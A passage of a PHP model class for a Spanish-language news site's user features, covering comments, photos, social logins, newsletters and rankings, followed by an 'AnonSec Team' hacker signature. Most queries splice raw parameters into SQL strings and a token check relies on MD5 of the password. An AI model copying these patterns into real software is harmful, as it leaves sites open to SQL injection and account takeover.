		) as seccion_nombre, c.comentario, c.secuencia, c.referencias, c.positivo, c.negativo, c.estado,
		DATE_FORMAT(c.fecha, '%d/%m/%Y %H:%i') as hora
		from nota n 
		inner join comentario c on (c.objeto_id = n.id and c.tipo=32)  
		where c.usuario_id = ".$usuario_id." and c.estado in (2,4) and n.edicion_id >= $edicion_ant and c.fecha > '2012-02-28'  
		order by c.id desc limit 10";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameComentariosUsuario($usuario_id,$start,$limit)
	{
		$sql = "select c.id, c.objeto_id, c.tipo, c.comentario, c.secuencia, c.positivo, c.negativo, c.estado, 
		DATE_FORMAT(c.fecha, '%d/%m/%Y %H:%i') as fecha, c.motivo 
		from comentario_min c 
		where c.usuario_id = ".$usuario_id."  
		order by c.id desc limit ".$start.",".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			foreach ($res as $k => $com) 
			{
				switch ($com['tipo']) 
				{
					case 2:
						//Video
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'video');
					break;
					case 6:
						//Encuesta
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'encuesta');
					break;
					case 30:
						//Foto
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'foto_galerias');
					break;
					case 32:
						//Nota
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'nota');
					break;
					case 36:
						//Evento
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'usuario_eventos');
					break;
					case 37:
						//Convocatoria
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'convocatoria');
					break;
				}
			}
			return $res;
		}
		else
			return false;
	}

	public function dameComentariosUsuarioHist($usuario_id,$start,$limit)
	{
		$sql = "select c.id, c.objeto_id, c.tipo, c.comentario, c.secuencia, c.positivo, c.negativo, c.estado, 
		DATE_FORMAT(c.fecha, '%d/%m/%Y %H:%i') as fecha, c.motivo  
		from comentario c 
		where c.usuario_id = ".$usuario_id."  
		order by c.id desc limit ".$start.",".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			foreach ($res as $k => $com) 
			{
				switch ($com['tipo']) 
				{
					case 2:
						//Video
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'video');
					break;
					case 6:
						//Encuesta
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'encuesta');
					break;
					case 30:
						//Foto
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'foto_galerias');
					break;
					case 32:
						//Nota
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'nota');
					break;
					case 36:
						//Evento
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'usuario_eventos');
					break;
					case 37:
						//Convocatoria
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'convocatoria');
					break;
				}
			}
			return $res;
		}
		else
			return false;
	}

	public function dameTituloObjetoComentario($objeto_id,$tabla)
	{
		if ($tabla == "nota")
		{
			$sql = "select n.titulo, n.edicion_id, 
			(select CONCAT_WS('|',t.nombre,t.url) 
				from tag t 
				inner join relacion_tag r on (r.tag_id = t.id) 
				where r.nota_id = n.id order by r.orden limit 1) as seccion 
			from nota n where n.id = ".$objeto_id;
		}
		elseif ($tabla == "foto_galerias")
		{
			$sql = "select f.titulo, fg.galeria_id as gal_id, g.titulo as titulo_gal, g.tipo 
			from foto_galerias f 
			inner join galeria_foto fg on (fg.foto_id = f.id) 
			inner join galeria g on (g.id = fg.galeria_id)
			where f.id = ".$objeto_id;
		}
		else
		{
			if ($tabla == "encuesta")
				$sql = "select encuesta as titulo";
			elseif ($tabla == "convocatoria")
				$sql = "select pregunta as titulo";
			else
				$sql = "select titulo";

			$sql .= " from ".$tabla." where id = ".$objeto_id;
		}
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function checkReservaNota($nota_id, $usuario_id)
	{
		 $this->db->select("id");
		 $this->db->from("usuario_nota_reservada");
		 $this->db->where("nota_id",$nota_id);
		 $this->db->where("usuario_id",$usuario_id);
		 $query = $this->db->get();
		 if ($query->num_rows() == 0)
		 	return true;
		 else
		 	return false;
	}
	
	public function reservarNota($datos)
	{
		if ($this->db->insert("usuario_nota_reservada",$datos))
			return true;
		else
			return false;
	}
	
	public function quitarNotaReservada($datos)
	{
		$this->db->where("usuario_id",$datos['usuario_id']);
		$this->db->where("nota_id",$datos['nota_id']);
		if ($this->db->delete("usuario_nota_reservada"))
			return true;
		else
			return false;
	}
	
	public function dameMisFotos($usuario_id,$limit=20)
	{
		$sql = "SELECT f.id, f.habilitada,f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom, u.usuario, u.id as usuario_id, 
		g.id as galeria_id, g.permisocom as permiso_galeria, g.titulo as galeria_titulo  
		FROM foto_galerias f 
		INNER JOIN galeria_foto gf on (f.id = gf.foto_id) 
		INNER JOIN galeria g on (g.id = gf.galeria_id) 
		INNER JOIN usuario u on (u.id = f.usuario_id) 
		WHERE u.id = ".$usuario_id." and g.tipo = 2 order by f.id desc limit ".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function damePeriodistas()
	{
		$sql = "SELECT u.id, u.email, CONCAT(u.nombre,' ',u.apellido) as nombre, ui.descripcion, ui.usuario_twitter 
		       FROM usuario u 
		       INNER JOIN usuario_info ui on (u.id = ui.usuario_id) where u.tipo in (2,3,5) order by u.tipo";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function damePeriodistas2()
	{
		$sql = "SELECT u.id, u.email, CONCAT(u.nombre,' ',u.apellido) as nombre, ui.descripcion, ui.usuario_twitter 
		       FROM usuario u 
		       INNER JOIN usuario_info ui on (u.id = ui.usuario_id) where u.tipo = 2 order by u.nombre";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function existeUserFace($facebook_id)
	{
		$sql = "select u.id, u.nombre, u.apellido, u.usuario, u.email, u.facebook_id, u.estado, u.verificado, u.perfil_id, u.twitter_id, u.avatar_mostrar, ui.imagen_estado, u.fecha_ultima_notif as fun, u.karma   
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		where u.facebook_id = ".$facebook_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function existeUserTwitter($twitter_id)
	{
		$sql = "select u.id, u.nombre, u.apellido, u.usuario, u.email, u.twitter_id,u.facebook_id,u.avatar_mostrar, u.estado, u.verificado, u.perfil_id, ui.imagen_estado 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id)
		where u.twitter_id = ".$twitter_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$array_tags=$this->tags_siguiendo($res[0]['id']);
			if(is_array($array_tags))
			{
				foreach($array_tags as $v)
				{
					$res[0]['siguiendo_tags'][]=$v['tag_id'];
				}
			}
			else
			{
				$res[0]['siguiendo_tags'] = '';
			}
			$array_usuarios=$this->usuarios_siguiendo($res[0]['id']);
			$res[0]['siguiendo_periodistas'] = array();
			if(is_array($array_usuarios))
			{
				$periodistas = array();
				foreach($array_usuarios as $v)
				{
					$res[0]['siguiendo_usuarios'][]=$v['usuario_id_seguido'];

					if ($v['tipo_usuario_seguido'] == 2)
						$res[0]['siguiendo_periodistas'][]=$v['usuario_id_seguido'];
				}
				$res[0]['siguiendo_usuarios'][] = $res[0]['id'];
			}
			else
			{
				$res[0]['siguiendo_usuarios'][] = $res[0]['id'];
			}
			return $res[0];	
		}
		else
			return false;
	}
	
	public function asociarFacebook($usuario_id, $usuario_facebook_id)
	{
		$sql = "update usuario set facebook_id = ".$usuario_facebook_id.", avatar_mostrar = 2 where id = ".$usuario_id;
		if ($this->db->query($sql))
		{
			return true;
		}
		else
			return false;
	}
	
	public function asociarTwitter($usuario_id, $usuario_twitter_id)
	{
		$datos['twitter_id'] = $usuario_twitter_id;

		$this->db->where("id",$usuario_id);
		if ($this->db->update("usuario",$datos))
			return true;
		else
			return false;
	}

	public function nuevoUserFacebook($datos,$ip_origen="")
	{
		$parametros = "'".$datos['nombre']."','".$datos['apellido']."','".$datos['email']."','".$datos['usuario']."'";
		$parametros .= ",'".$datos['password']."','".$datos['facebook_id']."','','','','".$datos['sexo']."','".$datos['usuario_id']."','".$ip_origen."','".$datos['ciudad']."'";
		
		$sql = "select f_usuario_facebook($parametros) as id";
		if($query = $this->db->query($sql))
		{
			$res = $query->result_array();
			return $res[0]['id'];
		}
		else
			return false;
		
	}
	
	public function recibeTitulares($usuario_id)
	{
		$sql = "SELECT recibe_titulares FROM usuario_info WHERE usuario_id='".$usuario_id."'";
		if($query = $this->db->query($sql))
		{
			if($query->num_rows()>0)
			{
				$res = $query->result_array();
				if($res[0]['recibe_titulares']==1)
					return true;
				else
					return false;
			}
			else
			{
				return false;
			}
		}
		else
			return false;
	}
	
	public function recibeMatutino($usuario_id)
	{
		$sql = "SELECT recibe_matutino FROM usuario_info WHERE usuario_id='".$usuario_id."'";
		if($query = $this->db->query($sql))
		{
			if($query->num_rows()>0)
			{
				$res = $query->result_array();
		
				if($res[0]['recibe_matutino']==1)
					return true;
				else
					return false;
			}
			else
				return false;
		}
		else
			return false;
	}
	
	public function recibeVespertina($usuario_id)
	{
		$sql = "SELECT recibe_vespertina FROM usuario_info WHERE usuario_id='".$usuario_id."'";
		if($query = $this->db->query($sql))
		{
			if($query->num_rows()>0)
			{
				$res = $query->result_array();
			
				if($res[0]['recibe_vespertina']==1)
					return true;
				else
					return false;
			}
			else
				return false;
		}
		else
			return false;
	}
	
	public function noRecibirTitulares($usuario_id)
	{
		$sql = "update usuario_info set recibe_titulares=0 where usuario_id='".$usuario_id."'";
		if($query = $this->db->query($sql))
		{
			return true;
		}
		else
		{
			return false;
		}
	}
	
	public function noRecibirMatutino($usuario_id)
	{
		$sql = "update usuario_info set recibe_matutino=0 where usuario_id='".$usuario_id."'";
		if($query = $this->db->query($sql))
		{
			return true;
		}
		else
		{
			return false;
		}
	}
	
	public function noRecibirVespertina($usuario_id)
	{
		$sql = "update usuario_info set recibe_vespertina=0 where usuario_id='".$usuario_id."'";
		if($query = $this->db->query($sql))
		{
			return true;
		}
		else
		{
			return false;
		}
	}
	
	public function modificarMovil($usuario_id,$movil,$pin=NULL)
	{
		$datos['movil'] = $movil;
		if($pin)
		{
			$datos['pin'] = $pin;
		}

		$this->db->where("id",$usuario_id);
		if ($this->db->update("usuario",$datos))
			return true;
		else
			return false;
	}
	
	public function dameNombre($usuario_id)
	{
		$sql = "select apellido, nombre from usuario where id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameDatosFotografo($fotografo_id)
	{
		
		$sql = "SELECT u.id,u.nombre, u.apellido, ui.imagen, ui.descripcion ,ui.usuario_twitter
		FROM usuario u
		LEFT JOIN usuario_info ui ON ui.usuario_id = u.id
		WHERE u.id='".$fotografo_id."'";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
		
	}

	public function consultar_token($usuario_id, $token)
	{
		$sql = "SELECT id 
				FROM usuario 
				WHERE id='".$usuario_id."' 
				AND '".$token."' = MD5(CONCAT(PASSWORD,id))
				AND UNIX_TIMESTAMP(fecha_cambio) > UNIX_TIMESTAMP(DATE_ADD(NOW(),INTERVAL -8 HOUR)) 
				LIMIT 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
			return true;
		else
			return false;
	}

	public function actualizarFun($user_id,$fecha)
	{
		$datos['fecha_ultima_notif'] = $fecha;
		$this->db->where('id', $user_id);
		if(!$this->db->update('usuario', $datos))
			return false;
		else
			return true;		
	}

	/*Para Ranking de usuarios*/
	public function masActivos($limit)
	{
		$sql = "SELECT COUNT(uh.id) AS cantidad, uh.usuario_id, u.usuario, u.facebook_id, u.avatar_mostrar, 
			ui.imagen_estado 
			FROM usuario_lector_historial uh 
			INNER JOIN usuario u ON (u.id = uh.usuario_id) 
			INNER JOIN usuario_info ui on (ui.usuario_id = u.id) 
			WHERE u.facebook_id > 0 AND u.estado in (1,4,5,6)  
			GROUP BY uh.usuario_id 
			ORDER BY cantidad DESC 
			LIMIT ".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function masAplaudidosPolemicos($campo,$limit)
	{
		$sql = "SELECT SUM(c.".$campo.") AS tot, c.usuario_id, u.usuario, u.facebook_id, u.avatar_mostrar, 
			ui.imagen_estado 
			FROM comentario_min c 
			INNER JOIN usuario u ON (u.id = c.usuario_id) 
			INNER JOIN usuario_info ui ON (ui.usuario_id = u.id) 
			WHERE u.facebook_id > 0 AND u.estado in (1,4,5,6) 
			GROUP BY c.usuario_id 
			ORDER BY tot DESC 
			LIMIT ".$limit;

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function masSeguidos($limit)
	{
		$sql = "select COUNT(DISTINCT c.usuario_id) AS tot, c.usuario_id_seguido, u.usuario, ui.imagen_estado, u.facebook_id, u.avatar_mostrar, u.tipo, u.nombre, u.apellido 
				FROM usuario_amigos c 
				INNER JOIN usuario u ON (u.id = c.usuario_id_seguido) 
				INNER JOIN usuario_info ui ON (ui.usuario_id = u.id) 
				WHERE u.tipo = 4 and u.facebook_id > 0 AND u.estado in (1,4,5,6) 
				GROUP BY c.usuario_id_seguido 
				ORDER BY tot DESC 
				LIMIT ".$limit;

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameInfoParaAvatar($usuario_id)
	{
		$sql = "select u.facebook_id, u.avatar_mostrar, ui.imagen_estado 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		where u.id = ".$usuario_id." limit 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function cargarNotaPC($datos)
	{
		$datos['texto'] = str_replace('"', "", $datos['texto']);
		$foto1="";$path1="";$foto2="";$path2="";$foto3="";$path3="";
		$parametros = '"'.$datos['titulo'].'","'.$datos['seccion'].'","'.$datos['texto'].'","'.$datos['video'].'"';

		$codigo_video = "";
		if ($datos['video']!="")
		{
			$codigo_video = explode("v=",$datos['video']);
			if (isset($codigo_video[1]) and $codigo_video[1]!="")
			{
				$codigo_video = $codigo_video[1];
				$codigo_video = substr($codigo_video,0,11);
			}
			else
			{
				$codigo_video = explode("youtu.be/",$datos['video']);
				$codigo_video = $codigo_video[1];
			}
		}
		$parametros .= ',"'.$codigo_video.'"';

		if (isset($datos['fotos'][0]))
		{
			$foto1 = $datos['fotos'][0]['imagen'];
			$path = $datos['fotos'][0]['ruta'];
		}
		if (isset($datos['fotos'][1]))
		{
			$foto2 = $datos['fotos'][1]['imagen'];
			$path = $datos['fotos'][1]['ruta'];
		}
		if (isset($datos['fotos'][2]))
		{
			$foto3 = $datos['fotos'][2]['imagen'];
			$path = $datos['fotos'][2]['ruta'];
		}
		$parametros .= ',"'.$foto1.'","'.$path.'","'.$foto2.'","'.$foto3.'",'.$datos['usuario_id'];
		$parametros .= ',"'.$datos['ip'].'","'.$datos['edicion_id'].'","'.$datos['url'].'"';
		
		$sql = "select f_cargar_nota_nuevo($parametros) as nota_id";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['nota_id'];
		}
		else
			return false;
	}

	public function cargarFotoParticipacion($datos)
	{
		$datos['texto'] = str_replace('"', "", $datos['texto']);
		$foto1="";$path="";$foto2="";$path2="";$foto3="";$path3="";
		$parametros = '"'.$datos['titulo'].'","'.$datos['seccion'].'","'.$datos['texto'].'",""';

		$codigo_video = "";
		$parametros .= ',"'.$codigo_video.'"';

		if (isset($datos['fotos'][0]))
		{
			$foto1 = $datos['fotos'][0]['imagen'];
			$path = $datos['fotos'][0]['ruta'];
		}
		if (isset($datos['fotos'][1]))
		{
			$foto2 = $datos['fotos'][1]['imagen'];
			$path = $datos['fotos'][1]['ruta'];
		}
		if (isset($datos['fotos'][2]))
		{
			$foto3 = $datos['fotos'][2]['imagen'];
			$path = $datos['fotos'][2]['ruta'];
		}
		$parametros .= ',"'.$foto1.'","'.$path.'","'.$foto2.'","'.$foto3.'",'.$datos['usuario_id'];
		$parametros .= ',"'.$datos['ip'].'","0",""';
		
		$sql = "select f_cargar_foto_participacion($parametros) as foto_id";
		$query = $this->db->query($sql);

		//echo $this->db->last_query();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$id_foto = $res[0]['foto_id'];
			if ($id_foto > 0)
				return $id_foto;
			else
				return -100;
		}
		else
			return false;
	}

	public function guardarMensaje($datos)
	{
		if ($this->db->insert("usuario_mensajes_directos",$datos))
			return true;
		else
			return false;
	}

	public function dameResponsables($seccion_id)
	{
		$sql = "select u.id, u.apellido, u.nombre, u.tipo 
		from usuario u 
		inner join relacion_otro r on (r.objeto_id1 = u.id and tipo1 = 4) 
		where tipo2 = 8 and r.objeto_id2 = ".$seccion_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameEstadoUsuario($user_id)
	{
		$sql = "select u.estado
		from usuario u 
		where u.id = ".$user_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['estado'];
		}
		else
			return 2;	
	}

	public function concursando($galeria_id,$user_id)
	{
		$sql = 'SELECT fg.id,fg.titulo,fg.ruta,fg.imagen,fg.habilitada FROM foto_galerias fg
				INNER JOIN galeria_foto r ON r.foto_id = fg.id 
				WHERE 
				fg.usuario_id = '.$user_id.' AND
				r.galeria_id = '.$galeria_id.'
				ORDER BY fg.id ASC';
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return 'vacio';	
	}

	public function checkParticipaConcurso($usuario_id, $concurso_id)
	{
		$sql = "select id from concurso_participantes where concurso_id = ".$concurso_id." and usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			return true;
		}
		else
			return false;
	}

	public function dameInfoMiCuenta($usuario_id)
	{
		$sql = "select u.id, u.usuario, u.mostrar_nombre, ui.descripcion, ui.imagen_estado, us.perfil_web, us.estado_web, us.perfil_face, us.estado_face, us.perfil_tw, us.estado_tw, 
		us.perfil_gl, us.estado_gl, us.perfil_lk, us.estado_lk, date_format(u.fecha_cambio,'%d-%m-%Y') as fecha_cambio 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		left join usuario_social us on (us.usuario_id = u.id) 
		where u.id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function checkRedes($usuario_id)
	{
		$sql = "select id from usuario_social where usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['id'];
		}
		else
			return false;
	}

	public function insertUpdateRedes($usuario_id, $datos, $usuario_social_id=0,$accion="insert")
	{
		if ($accion=="insert")
		{
			$datos['usuario_id'] = $usuario_id;
			if ($this->db->insert("usuario_social",$datos))
				return true;
			else
				return false;
		}
		elseif ($accion=="update")
		{
			$this->db->where("id",$usuario_social_id);
			if ($this->db->update("usuario_social",$datos))
				return true;
			else
				return false;
		}
	}

	public function ultimoCambio($usuario_id)
	{
		$sql = "select date_format(fecha_cambio,'%d-%m-%Y') as fecha_cambio from usuario where id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['fecha_cambio'];
		}
		else
			return false;
	}

	public function dameComentariosPublicaciones($usuario_id,$start,$limit,$estado=null)
	{
		$sql = "select c.id, c.objeto_id, c.tipo, c.comentario, c.secuencia, c.positivo, c.negativo, c.estado, c.motivo,
		DATE_FORMAT(c.fecha, '%d/%m/%Y %H:%i') as fecha 
		from comentario_min c 
		where c.usuario_id = ".$usuario_id;
		if($estado==null)
			$sql.= " and c.estado in (1,2,3,4,5) "; 
		elseif($estado==5)
			$sql.= " and c.estado in (".$estado.", 3)";
		else
			$sql.= " and c.estado = ".$estado;
		
		$sql.=" order by c.id desc limit ".$start.",".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			foreach ($res as $k => $com) 
			{
				switch ($com['tipo']) 
				{
					case 2:
						//Video
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'video');
					break;
					case 6:
						//Encuesta
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'encuesta');
					break;
					case 30:
						//Foto
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'foto_galerias');
					break;
					case 32:
						//Nota
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'nota');
					break;
					case 36:
						//Evento
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'usuario_eventos');
					break;
					case 37:
						//Convocatoria
						$res[$k]['objeto']=$this->dameTituloObjetoComentario($com['objeto_id'],'convocatoria');
					break;
				}
			}
			return $res;
		}
		else
			return false;
	}

	public function dameEventosPublicaciones($usuario_id,$start=0,$limit=3,$habilitado=null)
	{
		$sql="SELECT id, titulo, fecha, habilitado 
		from usuario_eventos 
		WHERE usuario_id = ".$usuario_id;
		if($habilitado==5)
			$sql.= " and habilitado in (".$habilitado.", 3)";
		elseif($habilitado)
			$sql.= " and habilitado = ".$habilitado;

		$sql.=" ORDER BY id desc limit ".$start.", ".$limit;

		$query=$this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}else
			return false;

	}

	public function dameFechaMod($usuario_id,$objeto_id,$objeto_tipo)
	{
		$sql= "select DATE_FORMAT(fecha, '%d/%m/%Y') as fecha 
		from usuario_notificaciones 
		where usuario_id_destino = ".$usuario_id."  
		and objeto_id = ".$objeto_id. " and objeto_tipo = ".$objeto_tipo." 
		order by id desc 
		limit 1";
		$query=$this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}else
			return false;
	}

	public function dameFotosPublicaciones($usuario_id,$start,$limit,$estado="")
	{
		$sql = "select f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.habilitada,
		DATE_FORMAT(f.fechaalta,'%d-%m-%Y') as fecha, DATE_FORMAT(f.fechaalta,'%H:%i') as hora,
		 g.titulo as titulo_gal, g.id as galeria_id, f.compartido, g.tipo as tipo_galeria 
		from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		inner join galeria g on (g.id = gf.galeria_id) 
		where g.habilitada=1 and g.tipo > 1 and f.usuario_id = ".$usuario_id; 

		
		if($estado== 4)
			$sql.= " and f.habilitada in (".$estado.", 3)";
		elseif(is_numeric($estado) and $estado!=0)
			$sql.= " and f.habilitada= ".$estado;

		$sql.=" order by f.id desc 
		limit ".$start.", ".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameEstadoKarmaDiario($usuario_id)
	{
		$sql = "select puntos from usuario_karma_temp where usuario_id = ".$usuario_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['puntos'];
		}
		else
			return 0;
	}
}
?>

Anon7 - 2022
AnonSec Team